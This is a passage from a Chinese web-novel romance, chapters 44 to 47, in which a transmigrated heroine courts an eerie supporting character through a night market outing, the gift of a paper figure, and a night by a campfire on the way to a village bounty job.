池镜花知道他想做什么,用余光瞥了眼四周,确认还有几个人在,不由得咬了咬唇瓣,紧张地攥紧双拳。 “一定要现在吗?” 奚逢秋表情天真地无辜歪着头,耳铛在她的眼睛里颤抖地晃了一下,仿佛有一条被火光拉长的红线转瞬即逝。 “你今天跟赵公子说了很多话,喊我就不可以吗?” 不是,这吃的哪门子醋啊! 他是三岁小孩子吗! 为安抚他的情绪,池镜花只好慢慢挪动身体向他靠近,微微捉住他的肩膀,探出脑袋,在他耳边轻轻吐息。 “奚逢秋?” 没有反应。 像是没听见,他依旧保持着原有姿势,只是笑得更开心了。 见状,池镜花只好继续第二次呼喊,依旧只是喊他的名字,只是音量略高。 “奚逢秋。” 还是没有任何反应。 池镜花不信邪,双手主动用力搂抱住他的颈侧,紧靠他的身体,唇瓣几乎贴着他的耳廓,深吸一口冷气,一张一合间,化为滚烫灼热的气息悉数打在他的脸颊。 “奚逢秋!” 三次了。 她已经喊了三次。 再装听不见就不礼貌了。 第三次,奚逢秋终于有了回应。 他微微偏过头,鼻尖差点抵上她的,他垂眸凝视少女殷红的唇瓣,身心像是得到巨大满足,唇畔扬起愉悦高兴的笑,指尖慢慢抚上少女温暖柔软的后颈,想要让她离自己再近些。 “你这样喊我,很舒服。” 第44章 第44章她的身体。 从太阳落山的那一刻算起,越接近天黑,夜市就越热闹,这种情况会一直持续到半夜,接着人潮褪去,沉寂几个时辰才会再度热闹起来。 出了客栈往人多的地方挤,道路两旁挂着无数盏用以照明的灯笼,人声渐起,逐渐盖过两人微弱的脚步声。 夜里降温,池镜花怕冷,出门多披了件外衣,走在路上时不停地东张西望,好奇地打量每个每处景点,想要把看过的一切都记下。 偶尔无意偏过头与走在身侧的少年对上视线时,池镜花下意识“嗖”地一下偏过头,假装巡视别处,其实是想到他在客栈轻轻吐出“舒服”二字,心脏不争气地漏跳一拍。 等等。 她不是攻略者吗? 为什么要不好意思? 这都是为了攻略他啊! 池镜花立马再度转过头,抬眸望他。 烛火令四周灯火通明,摊贩的吆喝声不绝于耳,空气中氤氲着各类脂粉花香,已完全掩盖他身上飘出的香气。 奚逢秋几乎同样微微偏头,几缕墨发若有似无地垂搭在肩上,暖色烛火下的五官昳丽柔和,耳铛映出的细长阴影在颈侧轻轻摇曳,罕见的蓝紫色双眸不可自抑地朝她弯了弯。 池镜花心跳莫名加速,恨自己定力不够。 “哎呦!什么东西!这地方怎么会有这么大的一只鸟!” 一道男人浑厚嫌弃的声音打破弥漫在二人间微妙暧昧的氛围。 回头一看,正是白鹤。 估计也是觉得新鲜,所以才到处遛弯,不想吓到了周围其他人。 “哦,对了。” 似是想起什么,池镜花灵机一动,踮起脚尖四处观察周围这么多摊位中有无渔民的摊位。 “我们给小白买点鱼吧。” 可惜她个子不够突出,再怎么蹦蹦跳跳也只能看到前方攒动的漆黑后脑勺。 正想着要不要找路人打听一下,一道清冽的嗓音轻松击穿一切嘈杂的人声,顺利抵达她的耳边。 “这边。” 池镜花转过头,看见奚逢秋右手微抬,食指指着右前方,冷风悠悠,投射在地面的影子晃到她脚边,攀上她的裙角一隅。 “哦……好。” 池镜花愣愣点了下脑袋,“那我去买点鱼,你跟小白等我一下。” 语毕,几缕发丝不经意撩过他的面颊,眨眼间,少女的身影钻入人群消失不见。 在她离开后,奚逢秋慢步穿过人流,找到正兴奋好奇打量四周的白鹤,一把握住白鹤的尖嘴长喙。 白鹤拼命扑腾翅膀,想要发出啼叫抗议,没碍他什么事,突然间又发什么疯。 奚逢秋用了些力气握了握他的嘴巴,眼眸低垂,神色晦暗,声音低低的,心情看上去已不像先前那般好。 “安静些。” 看出他心情莫名糟糕,白鹤不敢太过放肆,只好如死鸟般认命地闭上双眼,一动不动地由他拽着,绕过拥挤的人群,被拖到一颗树下。 这是整条街上最为显眼的位置。 若是池镜花回来,一定可以快速找到他。 不过,还是希望池镜花能够快些来寻他,她不在,好像没什么意思。 地面铺以一层金黄落叶,偶被簌簌冷风吹得沙沙作响,被卷起后又落在奚逢秋的脚边,高悬的灯笼也在风中摇晃不止。 他不说话,只有白鹤仰头疑惑打量自家主人,盯了会儿,又跟奚逢秋一样,朝池镜花所离开的方向往去。 有了具体的方向和目标,池镜花行动起来颇快,很快就拎着一筐新鲜的鲤鱼往回赶。 穿越潮水般涌动的人群,池镜花低着头,垂落的乌发半遮住白皙透明的侧脸,始终在思考一件事。 奚逢秋分明跟她一样初来乍到,却还得给她指路。 这算不算人形导航? 想到这,池镜花“噗嗤”笑出声来,不由得加快脚程,忽然很想快些见到她的“人形导航”。 待她回到原地,转了个圈,瞧见站在树下静静等候的一人一鸟。 池镜花扬着笑脸快步走过去,还没来得及喊他,只见奚逢秋视线随她而动,落在衣角的枝叶光影似突然跳了一下,下一秒,他露出个温温柔柔的笑。 “买到了吗?” “买到了买到了。” 池镜花忙不迭地点头,边说边将手上的鱼筐展示给他看,接着放到地上,准备按照过去那样给白鹤喂鱼。 下一秒,轻柔的声音飘进她的耳蜗中,似哄似诱似劝导。 “他自己会吃。” 白鹤原本站着一动不动,在奚逢秋的声音落地后,突然机灵地转了下漆黑双瞳,连同脖子一块深深埋进鱼筐中,用实际行动证明什么是“会吃”。 见白鹤这般乖巧懂事,池镜花蹲下身子,忍不住摸了下他,替他顺了顺毛发。 瑟瑟冷风吹拂少女乌黑柔软的发丝,若有似无地划过他微凉的指腹,愣住片刻,回过神来,已轻轻勾住,继而一圈圈地缠上指尖。 “哦,好像还差一件东西没买。” 池镜花站直身子,冰冷的发丝从他指上溜走。 她对此毫无察觉,只笑了笑,轻声道:“再等我一下。” 仿佛笃定奚逢秋不会离开,池镜花只扔下这句话便又消失在人群中。 灯笼晃晃悠悠,烛火忽暗忽明,仿佛听不见四周的嘈杂,奚逢秋独自盯着指尖消失的那抹温度,发了好一会儿的呆,才慢腾腾地将目光投向正在吃鱼的白鹤,眉眼弯弯,兀自笑了下。 “好吃吗?” 突如其来的一个问句,差点令进食中的白鹤噎住喘不过气来,只巴巴地望着池镜花离开的方向。 眨眼间,不到一刻钟,池镜花就折返回来了,不过手里多了包红烛。 因为她想到赵星澜路费不够,所以就想替纪望慕买点红烛,总不能饿着女主啊。 将女主的食物收好后,池镜花走到奚逢秋跟前,低着头抿唇,试探性地勾住他的小指,见他没有反抗,得寸进尺地扣住他的手指。 很快,池镜花已将自己手指慢慢插|进他的指缝中,一点点温暖他的肌肤,轻轻握住他的五指。 做完这一切,池镜花稍稍抬起头,发现他唇畔微扬,眉眼含笑,似乎还挺高兴的。 她不可避免地想到他口中的“舒服”。 现在也很“舒服”吗? 池镜花恶作剧般的狠捏了下他的指尖,趁其不备,拉着他往人堆里钻。 “跟我来。” 至于要去什么地方,说实话,池镜花也不清楚,毕竟她对丰朝县一概不知,但总不能浪费了与男配约会的大好机会,不然他们出来的意义何在。 怕与他走散,池镜花一直牢牢抓住他的指尖,辗转在各种摊位面前。 他们走走停停,见识了各种在金德镇见不到的古怪玩意儿,有些都不知道是何用处,但是买的人倒不少。 图个新鲜罢了。 池镜花带着他转悠了很久,却没买什么。 临近半夜,夜市的人流都散了,只剩一些稀稀拉拉的摊位,和还不肯回家睡觉的孩子跟父母大吵大闹。 池镜花也准备跟他一块回客栈。 她喊了他一声。 奚逢秋却没什么反应。 被微风吹拂的发丝扬起又随意地散在肩上,他眼眸低垂,淡淡视线落在她受过伤的脚踝,眼底的烛光逐渐黯淡,神色看着极为平静。 “不疼吗?” “疼啊。” 知道他在指什么,池镜花不假思索地脱口而出,随后又眨了眨眼睛,仰面笑了笑,微弱的烛光落在她玲珑小巧的鼻尖,以半开玩笑似的口吻开了口。 “要不你背我?” 只是一句玩笑话,并非只说给他们二人听的,所以池镜花音量稍高,引得几个过路人纷纷好奇地多看两眼。 池镜花有些尴尬地挠脸,想要快点离开这里,于是又拉着他的衣袖喊了一声奚逢秋。 大抵是接受到她的错误信息,奚逢秋垂眸静静凝视她片刻,鸦青的睫羽颤了一下,忽而微不可察地轻轻叹了口气,从她的身侧绕至身前。 似乎真要背她。 池镜花吓了一跳,但也毫不客气地双臂够上他的肩,想要爬上他的背,几次三番地却失败了,无奈抱怨道:“你弯点腰,我上不去。” 闻言,奚逢求按照她的指示弯下腰,让她的双臂主动攀上他的颈侧,牢牢环住他,又回忆书中“背”的描写,双手轻托住她的双腿。 如此,才算是“背”。 “好了,可以了。” 趴在男配背上的池镜花并没有觉得轻松多少,灯火越来越暗,行人寥寥无几,一切都散了,只有她如同泡在冰凉的莲池里,同时嗅着不属于这个季节的花香,心脏不受控制地敲锣打鼓。 她十分明白,自己对奚逢秋,并非出于单纯的爱慕,而是喜欢他的脸,和他身上出现的一些小怪癖。 池镜花觉得自己也很奇怪,虽然在满足他的怪癖时与他亲密接触时煞是羞耻,但是似乎也乐在其中。 不正常了。 跟他相处久了,她好像 也出问题了。 池镜花不由自主地轻按住他受伤的肩胛。 少女掌心的温暖顺着单薄的衣裳浸上他的肩胛,尽管伤口已经几近痊愈,但甫一碰到她的血肉肌肤,便会带来难以言说的愉悦。 而且,一次比一次疼。 感受到他的锁骨轻颤,池镜花知道他又很舒服了,索性搂得更紧,脑袋有气无力地微微靠在他的肩上,眼神空洞涣散,身体逐渐放松下来。 无意间,少女耳侧的一缕发丝顺势滑落,贴着他的颈侧,顺着他的衣领,沿着他的锁骨,悄无声息地溜进更深处。 包裹着少女体温的发丝如同疯长的藤蔓在黑暗中发了疯似的攀附而上。 仿佛与他肌肤相贴的,不是头发,而是她的身体。 第45章 第45章无法压抑眼底流露出的兴奋。…… 默契地一路无言。 渐于交叠的两道人影穿过幽暗寂静的长街,两人回到客栈已是深夜,店家贴心地为夜里有事出门的客人留了盏烛灯,不过燃得时间长了,剩下最后一截在冷风中摇晃。 光线忽暗忽明,一前一后两道身影相继往客栈二楼而去。 池镜花惊讶发现男主房间还亮着,于是指节叩了两下门,将在夜市里买下的红烛送给纪望慕。 赵星澜原不想要,但池镜花态度坚决,说什么也要塞给他,只好道了声谢说日后会将银子还给她。 男主什么都好,就是有时候太过死板。 池镜花轻叹口气,退出房间,顺手替男女主掩好房门,转过身,乌发拂过颈肩,一抬眸,与站在门外的奚逢秋打了个照面。 走廊一灯如豆,只有他们二人站在中央,两旁的烛火明明灭灭,地面两道孤寂的人影逐渐趋于重叠、合二为一。 微弱的火光影影绰绰地倒映在少年衣间,漆黑张牙舞爪地吞噬他身上的浅色。 他略显病态的面颊挂着一抹温柔的浅笑,始终安安静静地,似乎在等她。 又是背她又是等她,简直好到离谱。 怪叫池镜花不好意思的。 她一把捉住奚逢秋的手腕,压根没有征求他的意见,从腰间的荷包中摸出一张红纸人,强行递到他手里。 “这个送给你。” 这是她第一次尝试剪纸技艺,剪的人是奚逢秋,但由于太过生疏,哪怕她已尝试过很多次,依旧不大好看。 池镜花脸颊一热,摆着手极力解释:“你放心,以后我会给你剪得更好看的。” 眼眸低垂地望着手里略显滑稽不失可爱的纸人,奚逢秋以指腹轻轻戳了下纸人的额头,不由唇角微扬,喉咙深处溢出一声低笑,落在脸颊的月牙黑影晃动不止。 池镜花忽然有种在李白面前背诵《静夜思》的窘迫感,可她实在想剪一个跟他一模一样的纸人送给他,就如同他剪自己一样。 静默一瞬,令人尴尬的感觉迅速盈满胸腔,池镜花挠了挠脸颊,随便找个理由准备遁了。 “时候不早了,我先回去睡觉了。” 正欲转身回房,脚腕忽传出异样,隔着衣料,一股阴森森的凉意吸附上肌肤,仿佛正无意识疯狂地贪恋汲取她的温度。 池镜花低头一看,发现是奚逢秋指尖探出的白丝已悄无声息一圈又一圈地缠上她的脚腕。 却没有进一步的动作。 知晓他是何意思,池镜花回身立刻抓住他的指尖,指腹轻轻摩挲几下,她极为小声地安抚道:“伤已经没事了,我骗你的,早就不疼了。” “这样啊……” 他脑袋微垂,辨不清具体神色,唯有灯火下的长睫如蝶翼般轻轻颤动。 可白丝却松动了。 池镜花趁此机会一溜烟地跑了,只留下一句轻快的话语。 “晚安,奚逢秋。” 直到少女灵动的身影消失于走廊尽头,奚逢秋才抬脚慢慢往自己的房间走。 白鹤比他早一步回来,正站在窗棂,背对皎洁月光,歪着细长的脖子满腹疑惑地打量主人,不明白他今日为何情绪起伏这么大。 奚逢秋慢步走至白鹤跟前,摊开苍白五指,任由斜透过窗棂星月交辉相应的点点光芒落在掌心,照亮纸人的全部。 迷离的月色如温暖的春水荡漾在他的脸庞,他面含微笑,薄唇一张一合,向不会说话的白鹤求一个早有结果的问题。 “好看吗?” 白鹤眨眨眼睛继续盯着他。 奚逢秋忽然想起他在王府剪过那些陪伴过自己的纸人,没有一张纸人如手里这般出自他人之手。 他慢慢将池镜花给他的纸人贴至自己冰冷的额头,泛着清冷银灰碎光的睫羽低垂,在月下忍不住轻颤,再也无法压抑眼底流露出的兴奋。 “好奇怪……” 不知为何,只是收到一件礼物就这样令他开心,而且,还是他早已习惯的纸人。 他慢慢垂下双臂,仰面凝望着高悬着的月亮,眼底氤氲着迷蒙的月色,只觉得独处的时间无比漫长。 ——天怎么还不亮,她怎么还不来寻他? 池镜花一夜无梦,醒时心情意外地好,掀开被子,发现水鬼留下的痕迹也全部消失了。 想到今日还得去悬赏司,不敢耽搁半分,迅速穿戴洗漱,赶紧下楼了。 她粗略地巡视一周,只看见了奚逢秋。 今日天气本就阴沉,他偏找了个角落里不显眼的位置,一身浅白色的衣裳看上去有些灰蒙蒙的,苍白的面庞挂着温和的笑,脚边落下几片枯黄的残叶。 却没找到赵道长的身影。 池镜花熟练地坐到奚逢秋对面,再度扫了一眼四周,尽是没见过的生面孔,有些苦恼地往向对面。 “赵道长不在吗?” 奚逢秋极轻地“嗯”了一声,随即眼眸垂下,视线落在他事先准备好的早餐上。 “要吃吗?” 池镜花早就有所察觉,奚逢秋似乎很喜欢给她准备食物。 前面几次可能是试探,而这一次,留下的皆是她较为喜欢的口味。 当然,也没有辣的。 ……又是在偷偷观察她吗? 池镜花一言不发地捧着白瓷碗喝了一口热粥,边喝边抬眸偷偷看他,实在想不通他究竟在想什么。 尽管好感度只有35,可她分明觉得奚逢秋还是挺在意她的,但这种在意似乎不能简单地概括为喜欢。 大抵是她并没有直接从奚逢秋身上接收到他喜欢自己的任何讯息。 池镜花在心里暗暗叹气,默不作声地将他替自己准备的早餐都尝了一遍。 正如他所说的那般,当做“讨好”他算了。 反正,这种“讨好”她也乐在其中。 奚逢秋没有说话,只在静静注视着她,凝在眉眼间的笑意更甚。 池镜花视而不见。 不多时,赵星澜也下楼了。 面对比他们早来一步的二人,赵星澜面带歉意地笑了笑。 “抱歉,让二位久等了,我们现在就去悬赏司吧。” “嗯,好。” 池镜花点了点头。 正好也吃饱了,索性直接拉过奚逢秋的手腕跟在男主后面,一块去悬赏司。 较于昨日,不仅是天色阴沉,也无端起了大风,刮的人脸生疼。 少女的发尾被风吹起,轻轻拂过身后之人的面颊,又冰又凉,还有点痒。 奚逢秋没有任何抵抗的动作,任由池镜花紧挨着自己,抓起他的手腕,想起昨晚的月色,已是两种截然不同的心境。 ——是因为见到了池镜花吗? 虽然大概率是这样,他却不明白为何会如此。 池镜花对他暗自涌动的心思和情绪毫无察觉。 眨眼间,他们已迅速穿过一条条隐秘的小巷找到了悬赏司。 每日负责打扫的老婆婆人已在司内,正借助一把梯子,艰难地将挂在大门两侧的红灯笼换成白的。 老婆婆上了年纪,身形骨瘦如柴,佝偻着腰,头发花白,双眼早已模糊看不清事物,与此相对的是耳力却极好,老远就听闻有三个人的脚步声接近此处。 她不由微微转过身,站在梯子上向下望去,凭借来者的身形判断是两男一女,声音低沉沧桑:“几位有事吗?” 见状,赵星澜立即行礼禀明来意。 老婆婆点点头,轻轻道了声“原来如此”,正要下 梯子,池镜花见状,怕她不慎踩空,连忙跑去扶住她。 “老婆婆,我帮你。” 在池镜花的搀扶下,老婆婆慢悠悠地顺利下了梯子,事后忍不住多看了她两眼,语速轻轻慢慢。 “多谢姑娘好心帮忙。” 池镜花不好意思地连连摆手,“不用谢不用谢。” : 因为从小是跟着爷爷奶奶长大的,所以曾无数次遇到类似场景,因此方才没有反应过来的时候,身体不自觉地就行动了。 她又抬头望了眼在风中大幅摇晃的白纸灯笼,不解地追问:“老婆婆,你刚才为什么要把红灯笼换成白灯笼啊?” 老婆婆轻叹口气,解释道:“自然是有丧事,不过老婆子我孤寡一生,家中无人,而且悬赏司归朝廷管辖,去世的是皇亲国戚。” “不过我们这穷乡僻壤的,消息从京城传到这都要花上不少时间,但是老婆子我年纪大了,不想管事,你们若是想知道去世的是哪位大人,可以去别处打听打听。” 她边说边双手背在身后往屋内走,消瘦蜷曲的指尖指了指靠窗案板上堆在一块,无人整理的悬赏令案卷。 “这边都是,你们看看,随便挑一个吧,都差不多。” 赵星澜道了声“多谢”,转而开始挑选的合适的悬赏令。 池镜花也想接个悬赏令挣钱,正要挑挑拣拣,拿着扫帚的老婆婆如鬼魅般突然站在他们身后,声音晃晃悠悠地黏湿地扫过几人耳廓。 “对了,中秋节结束,游神会就快开始了,所以有关于游神会的悬赏令多了很多,你们可以看看。” 游神会…… 池镜花没有说话,觉得这三个字煞是耳熟。 她突然想起,在原著中,第二个副本似乎就与游神会有关。 男主接了个与游神会有关的悬赏令,但不知为何,奚逢秋作为重要男配,在这次任务中,却好似隐了身。 池镜花看书时巴不得视角全放在男女主身上,压根不会在意男配戏份问题,现在回忆一下,觉得甚是奇怪。 难道是作者为了发展男女主感情,而故意不写男配的吗? 理由虽然有些牵强,但也不是没有可能。 而且,由于原著没有明确描写男配在这段时间所参与的剧情,所以,一切皆有可能发生。 那么,这是否意味着——这也是她与奚逢秋增加感情的大好时机呢? 第46章 第46章偷偷埋在她的颈窝。 从古旧窗棂和门口挤进的瑟瑟秋风将案板上的纸张卷得沙沙作响,刚堆好的悬赏令瞬间又乱做一团,逐渐迷了几人的眼睛。 少女卷长的乌睫上下轻轻煽了几下,盯着手中悬赏令看出了神。 老婆婆拖着沉重的脚步慢悠悠地挤到她的左边,视线模模糊糊地只看见“邑水村”几个字,眉间一皱,不由得微微叹口气。 “邑水村啊,老婆子知道这个地方。” 池镜花神情期待地转头,望向身材偏矮的老婆婆,“这里怎么样?” 老婆婆继而又叹口气,实话实说:“位置偏僻,山路难走,就算你们现在出发,不迷路不休息,到那也得晚上了。” 这得多难走多偏僻啊! 要从早走到晚! 池镜花微微怔住。 方才,她在一堆悬赏令里选中这张,是因为“邑水村”的村名与她小时候的村庄“双水村”很是相似,才不由自主地握住。 所以即使悬赏令的任务内容跟鬼怪有关,但她还是想去看一看。 但在知道路程太远的这一刻,池镜花想要放弃了。 “这样不好吗?” 就在此时,一直站在她左手边,没怎么说过话的漂亮少年忽而盯着她手里的悬赏令轻轻地笑了一声。 池镜花闻声偏头。 只见奚逢秋身前的发丝随风飞舞,平静的眸底逐渐浮现一丝古怪而疯狂的笑,耳铛轻轻摇曳,微微映红他苍白的侧脸,拖长的尾音昭示着他稍显愉悦的好心情。 “又远又危险,不是很有意思吗?” 哪里有意思了! 有时候,池镜花真的很想把他脑袋掰开,看看里面到底有什么。 她垂头深深叹口气,贴着耳侧缓慢垂下的乌发稍稍挡住她的秀丽的面颊,盯着鞋面思考半分钟,下定决心似的抬头,额头碎发被风吹得有些乱。 “没关系的,老婆婆,我们就接这张悬赏令吧。” 虽然担心路程太远以及捉鬼能否顺利,但总归跟奚逢秋在一起,再坏还能坏到哪去。 老婆婆只看不语,一昧地帮她办好接悬赏令的手续,像是送孩子出远门的父母般低声嘱咐了句“路上小心,注意安全”。 “好。” 池镜花笑着乖巧点头,事毕,在经过赵星澜身边时,好奇地瞅了一眼他的。 虽然看不太仔细,但男主的悬赏令任务应是游神会的护卫工作。 这点跟原著大差不差。 也就是说,这段剧情的后面没他俩什么事了。 此时不过辰时,有的人甚至还没起床,但一想到他们还有那么长的山路要走,池镜花只想赶紧拽着奚逢秋赶路。 “赵道长,那我们就先走了。” “池姑娘,等等。” 见要与他们二人分别,赵星澜忙不迭地叫住她,又绕到少女身前,揣给她个绣着金丝线的红色锦囊。 “出门匆忙,没来得及画新的符,只有这些了,希望能够帮到池姑娘。” “嗯嗯,好的,谢谢赵道长。” 池镜花毫不推辞地直接收下。 主要是上次男主给她的符咒还没来得及用,就都在来丰朝县的路上被江水泡烂了,她这样一个只会“禁言符”的新手别说捉鬼,不被鬼吃就不错了。 望了一眼站在门口静静等候的奚逢秋,赵星澜微微俯身,附在她耳旁小声嘀咕:“池姑娘,还要切记小心奚公子。” 男主轻声细语的叮嘱夹杂着簌簌风声一同落入池镜花的耳蜗,绕了一圈化为一团缥缈的云雾,眨眼间便飘散了。 池镜花不好意思地挠脸,连连后退至门口,挥手大喊道:“赵道长,谢谢你的符咒,那我们就先走了。” 他们出门时,路上没几个人影,但这会儿,已经有不少店铺开门做生意,孩童间嬉戏打闹的声音充斥在街头巷尾。 池镜花左右张望,想到他们根本不清楚邑水村在哪个方向,只好在买干粮时向摊主打听一番。 好心的包子铺老板会心一笑,长满深黄老茧的右手一抬,指向远处。 “邑水村啊,近的很,看到那座山了没?翻过去就到了。” 循着小哥指尖的方向,池镜花微微一抬头,只瞧见一座低矮到类似于小山丘的土坡。 她原本还以为是老婆婆夸大其词,不想山虽然不高,可山中地形过于复杂,有引路的白鹤在,虽不至于迷路,但想要走过去得费不少力气。 池镜花体力本就没有那般好,只能走走停停,时而扶着树干休息,顺带欣赏一下山中萧瑟的秋日风景。 枝叶不比一个月以前茂盛,温柔的斜阳透过头顶的光秃的树枝洒在少年衣间,余晖打在少年的眼睫,微微颤抖时仿佛落下些许细碎的金粉。 神色淡淡,也不怎么说话。 池镜花却满心疑惑——他都不累的吗? 看着病弱,但体力真好。 “要休息吗?” 少年轻轻歪头看她,温温柔柔的泠泠嗓音如羽毛般轻拂过她的耳廓。 池镜花下意识以为他终于累了,不想紧接着听见他开了口,语气听着十分遗憾。 “天快黑了,我们走出不去的。” 言外之意:走不出去就只能在山里过夜。 池镜花立即联想到在金德镇的 山上与他一道发生的事情,但这段时间他似乎没有再对她展露过杀意,应该不会旧事重演。 思考间,奚逢秋已走到河流边,几下堆起了个柴堆,只是因为没有做过类似的事情,难免有点不大确定。 他微微垂眸望着刚堆起来尚未点火的柴堆。 “是这样吗?” “你要生火吗?” 池镜花呼吸得以逐渐平稳,踩着枯黄的落叶堆,发出几道清脆的声响,慢慢走到他身边,却总觉得哪里有些奇怪。 奚逢秋极轻地“嗯”了一声,回望她时的双瞳里似闪过一丝无奈之情。 “可我不会。” 天色已晚,落日隐退,黑幕降临,确实需要光点亮四周,不然什么也看不见。 “直接用火折子点上火就好了。” 池镜花蹲下身子,掏出火折子吹了口气,火光亮起的同时给柴火点上了火,身体力行地教会他如何生火。 “这样啊……” 他微微低着头,苍白的面颊映着闪烁的火光,垂落的长睫轻轻颤了几下,不知想到什么,而后忽而朝池镜花所在的位置看去,双眸弯如月牙。 “为何要离我那么远?” “啊……啊?” 池镜花一时没反应过来。 她并非有意远离他,而是原本就站在这里,换句话说,奚逢秋应该是想要她离他再近些,尽管他的话语歧义太大。 “不是,我没有。” 池镜花轻轻摇了摇头,在离他半步之远的位置坐下,又捏着他的衣裳扯了下,示意他也坐下。 奚逢秋照做,与她并排而坐。 火光映照,双颊温度迅速攀升,寂静的树林中,只剩下噼里啪啦燃烧树枝的声音,仿佛化为锣鼓,正在不停敲击她的心脏。 “奚逢秋,你怎么了?” 池镜花微微转过头,少女白皙的脸庞泛着淡薄的红意,眉间凝着化不开的疑惑。 白天,他一直没怎么说话,现在,突然要她坐在他身边,她实在想不明白他到底怎么了。 但有一件事,池镜花很有确定。 跟在金德镇时不一样,奚逢秋对她,没有杀意或者排斥,却有着不一样的情绪,池镜花很难用一个词语具体形容,或许连他自己都不明白这种情绪究竟是什么。 “我很想知道……” 少年长睫低垂,不知在看些什么,声音很低,悠悠回荡在四周,融于灼灼火焰中,化为滚烫的一颗水珠浇在她心间,皮肤几近透明。 池镜花忍不住刨根问底:“知道什么?” 奚逢秋没有直接回答他的问题,而是抬起眸子,火光浅浅照亮他的双眸,却无法探知深海的波涛汹涌。 “可以再离我近点吗?” 夹带笑意的语调诱哄味十足,池镜花深吸一口气,索性直接将脑袋靠在他肩上,脊背却紧张挺直,脑海中莫名赵星澜的嘱咐,下一刻,又被她狠狠抛出去。 “是这样吗?” 他轻轻应声,身上的香气似乎更浓了。 “嗯,先不要动,可以吗?” 池镜花虽不应声,但身体也没动。 等待几秒,身后一道炽热的气息婉若游龙地打在她后颈。 他似乎又在闻她。 但是这次她身上没有任何人的气息,所以只能是他的好奇心在作祟。 接着,少女耳侧一缕柔软的发丝被他轻轻撩起,捻在指尖观察了会儿。 因为没有感知到任何即将到达的危险,池镜花还是任由他探索自己。 紧接着,她的手腕又被他轻轻握住抬起,单薄的衣袖顺势滑落,露出内里雪白光滑的肌肤。 手臂在空中停滞几秒,奚逢秋才附身轻嗅她的手腕内测。 手心并没有直接碰到他的脸颊或唇,唯有一道道灼热的呼吸打在细小的绒毛上,以极快的速度传遍全身,全身上下似乎每个毛孔都得充盈着花香的气味。 心中若有似无的侵略反而令池镜花心跳得很快。 似是感受到她的情绪,奚逢秋也愣了一下,最后,微凉的指腹轻轻摩挲了下她的肌肤,便放下了。 之所以会这般反常,是他很想搞清楚自己为何会因为一个小小的纸人而产生那些奇怪的情绪,更想要知道为何池镜花会跟旁人不一样,为什么只有她不是“纸人”,为何只有她有能力令他恢复痛觉。 可是,在她靠近的一瞬间,所有一切通通濒临破碎,他已没有办法正常思考。 跃动的火光拂过他们的面颊,身后地面映出二人交叠的影子。 站在河流边的白鹤已经歪着脖子睡下,剧烈的心跳声已盖住树枝燃烧的杂音。 奚逢秋轻轻抱住她,将人按在怀里,低下头,偷偷埋在她的颈窝,脸颊亲昵地蹭了蹭她的,贪婪攫取身体的温度。 只要这样,一切就都好了。 第47章 第47章我不会亲你的。 月色如水,斑驳的枝影匍匐在凹凸不平的山地表面,深夜冷风瑟瑟,一簇簇生龙活虎的火苗影子不知不觉爬上二人衣间,无情地吞噬着模糊的树影。 微弱而炽热的呼吸一下又一下地拍在她的颈侧,从领口散开,悄无声息地钻入躯体,再迅速溢向身体四肢,异样的感觉接憧而至。 池镜花只觉得身体很痒,而且她完全不明白奚逢秋这样做的原因。 ……总不能是在只有35好感度情况下喜欢上她了吧? 池镜花在心里自嘲两声,继而深吸一口凉气,尝试轻声呼唤他的姓名。 “奚逢秋?” 声音落地的瞬间,仿佛有颗不显眼小石头从最高点掉进沉寂许久的湖泊,湖面立即荡起阵阵碧波涟漪,打破先前那副富有美感的和谐画面。 “抱歉。” 奚逢秋已渐渐回神,方知二人原来离这么近,于是慢慢收敛力气,松开搂住少女的双手,短暂放弃想要探寻她身上奇怪之处的想法。 “很难受吗?” 他的声音听着煞是平静。 池镜花理了理头发,端正做好,偏过头时,发丝绕过颈侧,垂在他的指尖上,少女仔细端详他的模样。 只见奚逢秋一如往常,火光映出他温柔的神色,漂亮的眉眼蕴着低浅的笑意,看上去天生就是这般好说话。 很好看。 但也仅是表面。 相处的时间长了,池镜花似乎意外地可以感知到男配温和有礼的外表下而隐藏的某种危险疯狂的情绪。 可是没有一丝情动的痕迹。 果然。 好感度只有35,就算他们之间的关系有所缓和,但要让他喜欢乃至爱上她还是太勉强了。 意识回笼后,池镜花神情讷讷地张了张口。 “不难受。” 只是会奇怪地心跳加速而已。 毕竟没人在面对这样漂亮好看、完全长在自己审美上的异性时还能保持心如止水。 池镜花的一颗小心脏不受控制地跳呀跳,然后就被自己强行掰回来了。 她垂头默默平复了会儿心情,打开出门时携带的行囊,将从包子铺买来的两个馒头取出,并将其中一个递给对方。 “吃吗?” 这荒郊野外的,幸好她提前做好准备,不然饿一夜也是不好受的。 倏忽,像是想起什么,池镜花忽而开心地眉眼弯弯,将手快速收回,又把原计划给自己的那个馒头递了过去。 “还是说,你要这个?” 奚逢秋偏头看她。 闪烁的火光映在少年苍白的侧脸,渐渐的,耳铛中也潜藏着火苗跳跃的身影,良久,他慢腾腾地伸出右手,露出个清澈天真的笑容。 “嗯,猜对了。” 手中的馒头被他取走后,池镜花蓦然想到他这样做的理由,不甘心似的咬了咬牙,随即又清了清嗓子,大声地再三保证道:“你放心,我不会给你下毒的!” 池镜花才不会想不开要用下毒这种招数伤害她的任务对象。 而且,他这一身的毒已经表明: 毒对他没用。 就在此时,“噼啪”一声,一根树枝掉进火堆里,火苗猛地窜高一瞬,差点卷上二人交叠在一起的衣角。 暖色火光映在他的面庞,照亮他如深海般的双眸,说话时的语气中似夹杂难以抑制的愉快之意。 “可是跟你交换很有意思。” “啊……啊?” 池镜花不解地眨了两下眼睛,夜风将树叶燃烧殆尽时产生的黑灰卷到她的眼睫上,随着眨眼的动作,又飘到二人中间。 “哪里有意思了?” 奚逢秋没有回答,一直凝视她双眼的灼热视线开始寸寸向下,缓慢滑过她的鼻尖和脸颊,最终停在的她微微泛红的唇上。 蓦地,他轻轻歪过头,盛着火苗的耳铛划过脸颊和颈侧,他轻声笑了一下。 “你不是亲过我吗?这不算交换吗?” 池镜花下意识地回怼:“这跟交换有什么……”关系。 话未说完,池镜花激动到便差点咬伤自己的舌尖,方才明白他的话中之意。 原来,他所指的并非仅仅是交换食物这件事,而是他们双方因曾亲吻而交换过呼吸和津液这件事。 也许对他来说,亲吻这件事因为新奇而变得很有意思,继而衍生出“交换”很有意思。 想明白此点的池镜花忽然回想起他们前面几次的亲密接吻,只觉得耳尖微微发烫,却也不知道说什么,心底只剩下一种声音——他的脑回路实在清奇。 可池镜花亲他完全不是因为好奇亲吻的滋味,也不是觉得跟他交换什么很有意思。 她只是单纯地想要获取他的好感,跟奚逢秋认为亲吻有趣或者“交换”有意思截然不同。 